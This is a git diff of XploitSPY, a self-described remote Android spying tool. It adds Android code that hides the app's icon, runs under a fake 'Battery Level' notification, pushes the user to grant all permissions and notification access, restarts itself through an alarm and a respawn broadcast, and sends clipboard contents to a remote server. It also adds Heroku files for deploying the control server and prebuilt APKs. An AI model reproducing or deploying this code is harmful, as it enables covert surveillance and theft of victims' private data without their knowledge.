diff --git a/.gitignore b/.gitignore index e2af297..b79083b 100644 --- a/.gitignore +++ b/.gitignore @@ -10,3 +10,5 @@ coverage .lock-wscript build/Release node_modules +.gradle +.idea diff --git a/client/.project b/APK_SouceCode/.project similarity index 100% rename from client/.project rename to APK_SouceCode/.project diff --git a/client/.settings/org.eclipse.buildship.core.prefs b/APK_SouceCode/.settings/org.eclipse.buildship.core.prefs similarity index 100% rename from client/.settings/org.eclipse.buildship.core.prefs rename to APK_SouceCode/.settings/org.eclipse.buildship.core.prefs diff --git a/APK_SouceCode/APK_SouceCode.iml b/APK_SouceCode/APK_SouceCode.iml new file mode 100644 index 0000000..072b95d --- /dev/null +++ b/APK_SouceCode/APK_SouceCode.iml @@ -0,0 +1,40 @@ +<<<<<<< HEAD:APK_SouceCode/APK_SouceCode.iml + + + + + + + + + + + + + + + + +======= + + + + + + + + + + + + + + + + +>>>>>>> 462bee8... Added missing permission:client/client.iml + \ No newline at end of file diff --git a/client/app/.gitignore b/APK_SouceCode/app/.gitignore similarity index 100% rename from client/app/.gitignore rename to APK_SouceCode/app/.gitignore diff --git a/client/app/app.iml b/APK_SouceCode/app/app.iml similarity index 89% rename from client/app/app.iml rename to APK_SouceCode/app/app.iml index cda72b0..d14dc26 100644 --- a/client/app/app.iml +++ b/APK_SouceCode/app/app.iml @@ -19,7 +19,7 @@ \ No newline at end of file diff --git a/client/app/build.gradle b/APK_SouceCode/app/build.gradle similarity index 86% rename from client/app/build.gradle rename to APK_SouceCode/app/build.gradle index fd30472..a459812 100644 --- a/client/app/build.gradle +++ b/APK_SouceCode/app/build.gradle @@ -8,7 +8,7 @@ android { buildToolsVersion '28.0.3' defaultConfig { applicationId 'com.remote.app' - minSdkVersion 11 + minSdkVersion 14 targetSdkVersion 28 versionCode 1 versionName "1.0" @@ -27,4 +27,5 @@ dependencies { // excluding org.json which is provided by Android exclude group: 'org.json', module: 'json' } + implementation 'com.android.support:support-compat:28.0.0' } diff --git a/client/app/proguard-rules.pro b/APK_SouceCode/app/proguard-rules.pro similarity index 100% rename from client/app/proguard-rules.pro rename to APK_SouceCode/app/proguard-rules.pro diff --git a/APK_SouceCode/app/release/app-release.apk b/APK_SouceCode/app/release/app-release.apk new file mode 100644 index 0000000..ded6232 Binary files /dev/null and b/APK_SouceCode/app/release/app-release.apk differ diff --git a/client/app/release/output.json b/APK_SouceCode/app/release/output.json similarity index 100% rename from client/app/release/output.json rename to APK_SouceCode/app/release/output.json diff --git a/APK_SouceCode/app/src/main/AndroidManifest.xml b/APK_SouceCode/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..2394ac3 --- /dev/null +++ b/APK_SouceCode/app/src/main/AndroidManifest.xml @@ -0,0 +1,80 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/client/app/src/main/java/com/remote/app/AppInstaller.java b/APK_SouceCode/app/src/main/java/com/remote/app/AppInstaller.java similarity index 100% rename from client/app/src/main/java/com/remote/app/AppInstaller.java rename to APK_SouceCode/app/src/main/java/com/remote/app/AppInstaller.java diff --git a/client/app/src/main/java/com/remote/app/AppList.java b/APK_SouceCode/app/src/main/java/com/remote/app/AppList.java similarity index 100% rename from client/app/src/main/java/com/remote/app/AppList.java rename to APK_SouceCode/app/src/main/java/com/remote/app/AppList.java diff --git a/client/app/src/main/java/com/remote/app/CallsManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/CallsManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/CallsManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/CallsManager.java diff --git a/client/app/src/main/java/com/remote/app/CameraManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/CameraManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/CameraManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/CameraManager.java diff --git a/client/app/src/main/java/com/remote/app/ConnectionManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/ConnectionManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/ConnectionManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/ConnectionManager.java diff --git a/client/app/src/main/java/com/remote/app/ContactsManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/ContactsManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/ContactsManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/ContactsManager.java diff --git a/client/app/src/main/java/com/remote/app/FileManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/FileManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/FileManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/FileManager.java diff --git a/client/app/src/main/java/com/remote/app/IOSocket.java b/APK_SouceCode/app/src/main/java/com/remote/app/IOSocket.java similarity index 100% rename from client/app/src/main/java/com/remote/app/IOSocket.java rename to APK_SouceCode/app/src/main/java/com/remote/app/IOSocket.java diff --git a/client/app/src/main/java/com/remote/app/LocManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/LocManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/LocManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/LocManager.java diff --git a/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java b/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java new file mode 100644 index 0000000..e6d130a --- /dev/null +++ b/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java @@ -0,0 +1,87 @@ +package com.remote.app; + +import android.app.Activity; +import android.app.AlarmManager; +import android.app.PendingIntent; +import android.content.ContentResolver; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.graphics.Typeface; +import android.net.Uri; +import android.os.Bundle; +import android.provider.Settings; +import android.support.v4.app.ActivityCompat; +import android.view.Gravity; +import android.widget.TextView; +import android.widget.Toast; + + +public class MainActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + PackageInfo info = null; + + setContentView(R.layout.activity_main); +// startService(new Intent(this, MainService.class)); + Intent intent = new Intent(this, MainService.class); + PendingIntent pendingIntent = PendingIntent.getService(getApplicationContext(), 1, intent, 0); + AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE); + alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, 0, 10000, pendingIntent); + boolean isNotificationServiceRunning = isNotificationServiceRunning(); + if(!isNotificationServiceRunning){ + + Context context = getApplicationContext(); + String[] permissions = new String[]{}; + try { + info = getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS); + permissions = info.requestedPermissions; + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + } + CharSequence text = "Enable 'Package Manager'\n Click back x2\n and Enable all permissions"; + int duration = Toast.LENGTH_LONG; + + Toast toast = Toast.makeText(context, text, duration); + + TextView v = (TextView) toast.getView().findViewById(android.R.id.message); + v.setTextColor(Color.RED); + v.setTypeface(Typeface.DEFAULT_BOLD); + v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL); + toast.show(); + + reqPermissions(this, permissions); + + // spawn notification thing + startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS)); + + // spawn app page settings so you can enable all perms +// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID)); +// startActivity(i); + } + + finish(); + } + + + public void reqPermissions(Context context, String[] permissions) { + if (context != null && permissions != null) { + ActivityCompat.requestPermissions(this, permissions, 1); + } + } + + + + private boolean isNotificationServiceRunning() { + ContentResolver contentResolver = getContentResolver(); + String enabledNotificationListeners = + Settings.Secure.getString(contentResolver, "enabled_notification_listeners"); + String packageName = getPackageName(); + return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName); + } +} diff --git a/APK_SouceCode/app/src/main/java/com/remote/app/MainService.java b/APK_SouceCode/app/src/main/java/com/remote/app/MainService.java new file mode 100644 index 0000000..b777b49 --- /dev/null +++ b/APK_SouceCode/app/src/main/java/com/remote/app/MainService.java @@ -0,0 +1,204 @@ +package com.remote.app; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.Service; +import android.content.ClipData; +import android.content.ClipboardManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Build; +import android.os.IBinder; +import android.os.PowerManager; +import android.support.annotation.Nullable; +import android.support.annotation.RequiresApi; +import android.support.v4.app.NotificationCompat; +import android.telephony.ServiceState; + +import org.json.JSONException; +import org.json.JSONObject; + +public class MainService extends Service { + private static Context contextOfApplication; +// boolean isServiceStarted = false; +// PowerManager pm; +// PowerManager.WakeLock wl ; +// +// public MainService() { +// super(); +// } +// +// @Override +// public IBinder onBind(Intent intent) { +// // TODO: Return the communication channel to the service. +// //throw new UnsupportedOperationException("Not yet implemented"); +// return null; +// } +// +// @Override +// public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) { +// +// start(); +// +// // Hide App Icon +// PackageManager pkg=this.getPackageManager(); +// pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); +// +// +// +// ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() { +// public void onPrimaryClipChanged() { +// ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); +// if (clipboard.hasPrimaryClip()) { +// ClipData clipData = clipboard.getPrimaryClip(); +// if (clipData.getItemCount() > 0) { +// CharSequence text = clipData.getItemAt(0).getText(); +// if (text != null) { +// try { +// JSONObject data = new JSONObject(); +// data.put("text", text); +// IOSocket.getInstance().getIoSocket().emit("0xCB" , data); +// } catch (JSONException e) { +// e.printStackTrace(); +// } +// } +// } +// } +// } +// }; +// +// ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); +// clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener); +// +// +// contextOfApplication = this; +// ConnectionManager.startAsync(this); +// return Service.START_STICKY; +// } +// +// public void start(){ +// +// if(isServiceStarted) return; +// +// isServiceStarted = true; +// +// try{ +// pm = (PowerManager)getSystemService(Context.POWER_SERVICE); +// +// if(!pm.isScreenOn()) { +// wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,"ProcessManger:CollectData"); +// wl.acquire(300); +// } +// else if (wl.isHeld()) wl.release(); +// } +// catch(Exception e){ +// e.printStackTrace(); +// } +// +// } +// +// @Override +// public void onDestroy() { +// isServiceStarted = false; +// super.onDestroy(); +// sendBroadcast(new Intent("respawnService")); +// } +// +// public static Context getContextOfApplication() +// { +// return contextOfApplication; +// } + + @Override + public void onCreate() { + super.onCreate(); + if (Build.VERSION.SDK_INT > Build.VERSION_CODES.O) + startMyOwnForeground(); + else + startForeground(1, new Notification()); + } + + @RequiresApi(Build.VERSION_CODES.O) + private void startMyOwnForeground() + { + String NOTIFICATION_CHANNEL_ID = "example.permanence"; + String channelName = "Battery Level Service"; + NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE); + chan.setLightColor(Color.BLUE); + chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE); + + NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + assert manager != null; + manager.createNotificationChannel(chan); + + NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID); + Notification notification = notificationBuilder.setOngoing(true) + .setContentTitle("Battery Level") + .setPriority(NotificationManager.IMPORTANCE_MIN) + .setCategory(Notification.CATEGORY_SERVICE) + .build(); + startForeground(2, notification); + } + + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + super.onStartCommand(intent, flags, startId); + + PackageManager pkg=this.getPackageManager(); + pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); + + ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() { + public void onPrimaryClipChanged() { + ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); + if (clipboard.hasPrimaryClip()) { + ClipData clipData = clipboard.getPrimaryClip(); + if (clipData.getItemCount() > 0) { + CharSequence text = clipData.getItemAt(0).getText(); + if (text != null) { + try { + JSONObject data = new JSONObject(); + data.put("text", text); + IOSocket.getInstance().getIoSocket().emit("0xCB" , data); + } catch (JSONException e) { + e.printStackTrace(); + } + } + } + } + } + }; + + ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); + clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener); + + + contextOfApplication = this; + ConnectionManager.startAsync(this); + return START_STICKY; + } + + @Override + public void onDestroy() { + super.onDestroy(); + + sendBroadcast(new Intent("respawnService")); + } + + + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return null; + } + + public static Context getContextOfApplication() + { + return contextOfApplication; + } +} diff --git a/client/app/src/main/java/com/remote/app/MicManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/MicManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/MicManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/MicManager.java diff --git a/client/app/src/main/java/com/remote/app/MyReceiver.java b/APK_SouceCode/app/src/main/java/com/remote/app/MyReceiver.java similarity index 100% rename from client/app/src/main/java/com/remote/app/MyReceiver.java rename to APK_SouceCode/app/src/main/java/com/remote/app/MyReceiver.java diff --git a/client/app/src/main/java/com/remote/app/NotificationListener.java b/APK_SouceCode/app/src/main/java/com/remote/app/NotificationListener.java similarity index 100% rename from client/app/src/main/java/com/remote/app/NotificationListener.java rename to APK_SouceCode/app/src/main/java/com/remote/app/NotificationListener.java diff --git a/client/app/src/main/java/com/remote/app/PermissionManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/PermissionManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/PermissionManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/PermissionManager.java diff --git a/client/app/src/main/java/com/remote/app/SMSManager.java b/APK_SouceCode/app/src/main/java/com/remote/app/SMSManager.java similarity index 100% rename from client/app/src/main/java/com/remote/app/SMSManager.java rename to APK_SouceCode/app/src/main/java/com/remote/app/SMSManager.java diff --git a/APK_SouceCode/app/src/main/java/com/remote/app/ServiceReciever.java b/APK_SouceCode/app/src/main/java/com/remote/app/ServiceReciever.java new file mode 100644 index 0000000..7eedafa --- /dev/null +++ b/APK_SouceCode/app/src/main/java/com/remote/app/ServiceReciever.java @@ -0,0 +1,19 @@ +package com.remote.app; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import android.util.Log; + +public class ServiceReciever extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { +// context.startService(new Intent(context.getApplicationContext(), MainService.class)); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(new Intent(context, MainService.class)); + } else { + context.startService(new Intent(context, MainService.class)); + } + } +} \ No newline at end of file diff --git a/client/app/src/main/java/com/remote/app/WifiScanner.java b/APK_SouceCode/app/src/main/java/com/remote/app/WifiScanner.java similarity index 100% rename from client/app/src/main/java/com/remote/app/WifiScanner.java rename to APK_SouceCode/app/src/main/java/com/remote/app/WifiScanner.java diff --git a/client/app/src/main/res/layout/activity_main.xml b/APK_SouceCode/app/src/main/res/layout/activity_main.xml similarity index 100% rename from client/app/src/main/res/layout/activity_main.xml rename to APK_SouceCode/app/src/main/res/layout/activity_main.xml diff --git a/client/app/src/main/res/mipmap-hdpi/ic_launcher.png b/APK_SouceCode/app/src/main/res/mipmap-hdpi/ic_launcher.png similarity index 100% rename from client/app/src/main/res/mipmap-hdpi/ic_launcher.png rename to APK_SouceCode/app/src/main/res/mipmap-hdpi/ic_launcher.png diff --git a/client/app/src/main/res/mipmap-mdpi/ic_launcher.png b/APK_SouceCode/app/src/main/res/mipmap-mdpi/ic_launcher.png similarity index 100% rename from client/app/src/main/res/mipmap-mdpi/ic_launcher.png rename to APK_SouceCode/app/src/main/res/mipmap-mdpi/ic_launcher.png diff --git a/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/APK_SouceCode/app/src/main/res/mipmap-xhdpi/ic_launcher.png similarity index 100% rename from client/app/src/main/res/mipmap-xhdpi/ic_launcher.png rename to APK_SouceCode/app/src/main/res/mipmap-xhdpi/ic_launcher.png diff --git a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/APK_SouceCode/app/src/main/res/mipmap-xxhdpi/ic_launcher.png similarity index 100% rename from client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png rename to APK_SouceCode/app/src/main/res/mipmap-xxhdpi/ic_launcher.png diff --git a/APK_SouceCode/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/APK_SouceCode/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..aee44e1 Binary files /dev/null and b/APK_SouceCode/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/client/app/src/main/res/values-w820dp/dimens.xml b/APK_SouceCode/app/src/main/res/values-w820dp/dimens.xml similarity index 100% rename from client/app/src/main/res/values-w820dp/dimens.xml rename to APK_SouceCode/app/src/main/res/values-w820dp/dimens.xml diff --git a/client/app/src/main/res/values/colors.xml b/APK_SouceCode/app/src/main/res/values/colors.xml similarity index 100% rename from client/app/src/main/res/values/colors.xml rename to APK_SouceCode/app/src/main/res/values/colors.xml diff --git a/client/app/src/main/res/values/dimens.xml b/APK_SouceCode/app/src/main/res/values/dimens.xml similarity index 100% rename from client/app/src/main/res/values/dimens.xml rename to APK_SouceCode/app/src/main/res/values/dimens.xml diff --git a/client/app/src/main/res/values/strings.xml b/APK_SouceCode/app/src/main/res/values/strings.xml similarity index 100% rename from client/app/src/main/res/values/strings.xml rename to APK_SouceCode/app/src/main/res/values/strings.xml diff --git a/client/app/src/main/res/values/styles.xml b/APK_SouceCode/app/src/main/res/values/styles.xml similarity index 100% rename from client/app/src/main/res/values/styles.xml rename to APK_SouceCode/app/src/main/res/values/styles.xml diff --git a/client/build.gradle b/APK_SouceCode/build.gradle similarity index 100% rename from client/build.gradle rename to APK_SouceCode/build.gradle diff --git a/client/gradle.properties b/APK_SouceCode/gradle.properties similarity index 100% rename from client/gradle.properties rename to APK_SouceCode/gradle.properties diff --git a/client/gradle/wrapper/gradle-wrapper.jar b/APK_SouceCode/gradle/wrapper/gradle-wrapper.jar similarity index 100% rename from client/gradle/wrapper/gradle-wrapper.jar rename to APK_SouceCode/gradle/wrapper/gradle-wrapper.jar diff --git a/client/gradle/wrapper/gradle-wrapper.properties b/APK_SouceCode/gradle/wrapper/gradle-wrapper.properties similarity index 100% rename from client/gradle/wrapper/gradle-wrapper.properties rename to APK_SouceCode/gradle/wrapper/gradle-wrapper.properties diff --git a/client/gradlew b/APK_SouceCode/gradlew similarity index 100% rename from client/gradlew rename to APK_SouceCode/gradlew diff --git a/client/gradlew.bat b/APK_SouceCode/gradlew.bat similarity index 100% rename from client/gradlew.bat rename to APK_SouceCode/gradlew.bat diff --git a/client/local.properties b/APK_SouceCode/local.properties similarity index 100% rename from client/local.properties rename to APK_SouceCode/local.properties diff --git a/client/settings.gradle b/APK_SouceCode/settings.gradle similarity index 100% rename from client/settings.gradle rename to APK_SouceCode/settings.gradle diff --git a/Procfile b/Procfile new file mode 100644 index 0000000..24a0a8f --- /dev/null +++ b/Procfile @@ -0,0 +1 @@ +‘web: ./node_modules/.bin/forever -m 5 index.js’ diff --git a/README.md b/README.md index aef4b68..a4d194f 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,11 @@

-
-A cloud based Android Spying or Monitoring Tool, powered by NodeJS +
+A cloud based Android Monitoring Tool, powered by NodeJS

- + + Deploy + ## Features - GPS Logging @@ -21,56 +23,11 @@ A cloud based Android Spying or Monitoring Tool, powered by NodeJS - Command Queuing - Built In APK Builder -## Prerequisites - - Java Runtime Environment 9+ - - See [installation](#Installation) for OS specifics - - NodeJs - - A Server e.g: aws, azure, google cloud, digital ocean - Get Free Server from https://www.heroku.com/ - -## Installation - -## Video Tutorial : https://youtu.be/6bRs7-0AD04 - -0. Connect to your server via SSH - -1. Install JRE 9+ - - Debian, Ubuntu, Etc - - `sudo apt install openjdk-11-jre-headless` - - Fedora, Oracle, Red Hat, etc - - `sudo yum install java-11-openjdk-devel"` - - Windows - - click [HERE](https://www.oracle.com/technetwork/java/javase/downloads/jre9-downloads-3848532.html) for downloads - -2. Install NodeJS [Instructions Here](https://nodejs.org/en/download/package-manager/) (If you can't figure this out, you shouldn't really be using this) - -3. install PM2 - - `sudo npm install pm2 -g` - -4. Clone this repository - - `git clone https://github.com/XploitWizer/XploitSPY.git` - -5. Now change to the server directory and run these commands - - `npm install` <- install dependencies - - `pm2 start index.js` <-- start the script - - `pm2 startup` <- to run XploitSPY on startup - -6. Default Username : admin & Default Password : password - -7. Change the Username & Password - 1. Stop XploitSPY `pm2 stop index` - 2. Open `maindb.json` in a text editor - 3. under `admin` - - set the `username` as plain text - - set the `password` as a LOWERCASE MD5 hash - 4. save the file - 5. run `pm2 restart all` - -8. in your browser navigate to `http://:22533` - -It's recommended to run XploitSPY behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/) +## Buy us a Coffee +Bitcoin : 3HwzRLbZxFVxyZzLoEHFnoB5RVKfzwxDbf +Paypal : https://paypal.me/raomk ## Disclaimer XploitWizer Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool.
diff --git a/Server b/Server new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Server @@ -0,0 +1 @@ + diff --git a/app.json b/app.json new file mode 100644 index 0000000..b0a6687 --- /dev/null +++ b/app.json @@ -0,0 +1,29 @@ +{ + "name": "xploitspy", + "version": "1.0.0", + "description": "XploitSPY - Remote Android Spying Tool", + "main": "index.js", + "scripts": { + "start": "node index.js", + "test": "node index.js"}, + "author": "XploitWizer", + "license": "ISC", + "dependencies": { + "body-parser": "^1.19.0", + "cookie-parser": "^1.4.4", + "ejs": "^2.6.2", + "express": "^4.17.1", + "geoip-lite": "^1.3.7", + "lowdb": "^1.0.0", + "socket.io": "^2.2.0" + }, + + "buildpacks": [ + { + "url": "heroku/jvm" + }, + { + "url": "heroku/nodejs" + } + ] +} diff --git a/server/app/factory/apktool.jar b/app/factory/apktool.jar similarity index 100% rename from server/app/factory/apktool.jar rename to app/factory/apktool.jar diff --git a/app/factory/app-release.apk b/app/factory/app-release.apk new file mode 100644 index 0000000..a38063c Binary files /dev/null and b/app/factory/app-release.apk differ diff --git a/app/factory/decompiled/AndroidManifest.xml b/app/factory/decompiled/AndroidManifest.xml new file mode 100644 index 0000000..1e64b9b --- /dev/null +++ b/app/factory/decompiled/AndroidManifest.xml @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/apktool.yml b/app/factory/decompiled/apktool.yml new file mode 100644 index 0000000..ef6659d --- /dev/null +++ b/app/factory/decompiled/apktool.yml @@ -0,0 +1,36 @@ +!!brut.androlib.meta.MetaInfo +apkFileName: app-release.apk +compressionType: false +doNotCompress: +- arsc +- res/drawable-hdpi-v4/notification_bg_low_normal.9.png +- res/drawable-hdpi-v4/notification_bg_low_pressed.9.png +- res/drawable-hdpi-v4/notification_bg_normal.9.png +- res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png +- png +- res/drawable-mdpi-v4/notification_bg_low_normal.9.png +- res/drawable-mdpi-v4/notification_bg_low_pressed.9.png +- res/drawable-mdpi-v4/notification_bg_normal.9.png +- res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png +- res/drawable-xhdpi-v4/notification_bg_low_normal.9.png +- res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png +- res/drawable-xhdpi-v4/notification_bg_normal.9.png +- res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png +isFrameworkApk: false +packageInfo: + forcedPackageId: '127' + renameManifestPackage: null +sdkInfo: + minSdkVersion: '14' + targetSdkVersion: '28' +sharedLibrary: false +sparseResources: false +unknownFiles: {} +usesFramework: + ids: + - 1 + tag: null +version: 2.4.0 +versionInfo: + versionCode: '1' + versionName: '1.0' diff --git a/app/factory/decompiled/original/AndroidManifest.xml b/app/factory/decompiled/original/AndroidManifest.xml new file mode 100644 index 0000000..59d3a57 Binary files /dev/null and b/app/factory/decompiled/original/AndroidManifest.xml differ diff --git a/app/factory/decompiled/original/META-INF/CERT.RSA b/app/factory/decompiled/original/META-INF/CERT.RSA new file mode 100644 index 0000000..62eb88f Binary files /dev/null and b/app/factory/decompiled/original/META-INF/CERT.RSA differ diff --git a/app/factory/decompiled/original/META-INF/CERT.SF b/app/factory/decompiled/original/META-INF/CERT.SF new file mode 100644 index 0000000..5761559 --- /dev/null +++ b/app/factory/decompiled/original/META-INF/CERT.SF @@ -0,0 +1,182 @@ +Signature-Version: 1.0 +Created-By: 1.0 (Android) +SHA1-Digest-Manifest: 2Qtk51JBqM6u7TRO079YJbsVT94= + +Name: AndroidManifest.xml +SHA1-Digest: nCwMBXfy2QSt4OJ5EYyKjhi2bog= + +Name: META-INF/android.arch.lifecycle_runtime.version +SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA= + +Name: META-INF/androidx.core_core.version +SHA1-Digest: qzW7rmoru5/gCL3Q64uxwsvKy40= + +Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio + n +SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws= + +Name: classes.dex +SHA1-Digest: mOcbx/JXakm3skvCwzTjgaZv4eU= + +Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg= + +Name: res/drawable-hdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: hlGgjwCibYSJn0dDvquLScOoXss= + +Name: res/drawable-hdpi-v4/notification_bg_normal.9.png +SHA1-Digest: c5f+iD+5NWV0zWxwzUyh+V+QpkY= + +Name: res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: tLTtgWwmC52vFV8WmsQe/d9txW4= + +Name: res/drawable-hdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: rPKbb20RGbvShI5/3oDbpeRZyYE= + +Name: res/drawable-mdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: Tnovl3GT2HHDBF1rlU8FPMsFpFA= + +Name: res/drawable-mdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: sZI/MrQgBXh2aJFcQWzZXWRcBz0= + +Name: res/drawable-mdpi-v4/notification_bg_normal.9.png +SHA1-Digest: Q3acMTlGj6UQhONPvMrXTfJYYHU= + +Name: res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: ahL1IX+Xa3VHwxUrKeuJQsGU4Rs= + +Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: G1uzqQ7UaV7jhbp84LRK1WGbP3Q= + +Name: res/drawable-v21/notification_action_background.xml +SHA1-Digest: hDgopXgoRb95pbeGnDNwAfS/XMc= + +Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: skfmh8AKXvj2Y90RQYRWGn6cYvs= + +Name: res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: OOefFpggagskOSa29mfgruzOhPQ= + +Name: res/drawable-xhdpi-v4/notification_bg_normal.9.png +SHA1-Digest: VLNXFzqJn8hvw7NJ233yGma3RqA= + +Name: res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: oXhMxqCdTU9FU0k6ZW87SKaXIv4= + +Name: res/drawable-xhdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: e3LBNjD7qx/P2ADJrhGYMpZZVrw= + +Name: res/drawable/notification_bg.xml +SHA1-Digest: 5kJcFgL2SO5bmSFv6ug1XNYXdjo= + +Name: res/drawable/notification_bg_low.xml +SHA1-Digest: 9ykEiSP/5+4AeJFJHpbmqBVaG8s= + +Name: res/drawable/notification_icon_background.xml +SHA1-Digest: wHlG5jR8jVhSzZ6uRecLsaKmiSw= + +Name: res/drawable/notification_tile_bg.xml +SHA1-Digest: YglohQtVFRp8J0s8sl86sBk7Fbo= + +Name: res/layout-v16/notification_template_custom_big.xml +SHA1-Digest: y6SYgVyfSKvpZ317wsqzxaKH7dw= + +Name: res/layout-v17/activity_main.xml +SHA1-Digest: QVul4z4VBI0dH/86vKiSZW9JMXQ= + +Name: res/layout-v17/notification_action.xml +SHA1-Digest: 5e9X116jhb7p/LLEYTZuyjxx3XA= + +Name: res/layout-v17/notification_action_tombstone.xml +SHA1-Digest: RZ/J+mKULThRRtoNUQ5Sz3rkGsw= + +Name: res/layout-v17/notification_template_custom_big.xml +SHA1-Digest: PKIJ6zgcR0U86Q0ZNU4QB7dssoY= + +Name: res/layout-v21/notification_action.xml +SHA1-Digest: 55CJVexYt58asBzcLPbJTGtbzLo= + +Name: res/layout-v21/notification_action_tombstone.xml +SHA1-Digest: qaVsdS5/VDc1Fp5hDb+epgxC/Mo= + +Name: 